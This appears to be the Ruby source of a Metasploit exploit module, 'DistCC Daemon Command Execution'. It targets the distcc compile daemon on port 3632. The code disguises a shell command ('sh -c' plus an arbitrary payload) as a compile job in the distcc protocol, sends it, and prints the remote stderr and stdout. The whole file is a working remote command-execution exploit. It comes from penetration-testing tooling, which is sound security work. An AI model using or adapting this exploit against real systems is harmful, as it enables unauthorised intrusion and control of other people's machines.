113 lines
2.2 KiB
Ruby
113 lines
2.2 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Unix::Misc::DISTCCD_EXEC < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DistCC Daemon Command Execution',
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'Description' => %q{
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This module uses a documented security weakness to execute
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arbitrary commands on any system running distccd.
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},
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'Author' => [ 'hdm' ],
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'License' => GPL_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'MIL', '19'],
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[ 'URL', 'http://distcc.samba.org/security.html'],
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(3632)
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], self.class)
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end
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def exploit
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connect
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p payload.encoded
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distcmd = dist_cmd("sh", "-c", payload.encoded);
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sock.put(distcmd)
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dtag = Rex::Text.rand_text_alphanumeric(10)
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sock.put("DOTI0000000A#{dtag}\n")
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res = sock.get_once(24, 5)
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if (not (res and res.length == 24))
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print_status("The remote distccd did not reply to our request")
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disconnect
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return
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end
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# Check STDERR
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res = sock.get_once(4, 5)
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res = sock.get_once(8, 5)
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len = [res].pack("H*").unpack("N")[0]
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if (len > 0)
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res = sock.get_once(len, 5)
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res.split("\n").each do |line|
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print_status("stderr: #{line}")
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end
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end
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# Check STDOUT
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res = sock.get_once(4, 5)
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res = sock.get_once(8, 5)
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len = [res].pack("H*").unpack("N")[0]
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if (len > 0)
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res = sock.get_once(len, 5)
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res.split("\n").each do |line|
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print_status("stdout: #{line}")
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end
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end
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handler
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disconnect
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end
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# Generate a distccd command
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def dist_cmd(*args)
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# Convince distccd that this is a compile
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args.concat(%w{# -c main.c -o main.o})
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# Set distcc 'magic fairy dust' and argument count
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res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
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# Set the command arguments
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args.each do |arg|
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res << sprintf("ARGV%.8x%s", arg.length, arg)
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end
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return res
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end
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end
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end
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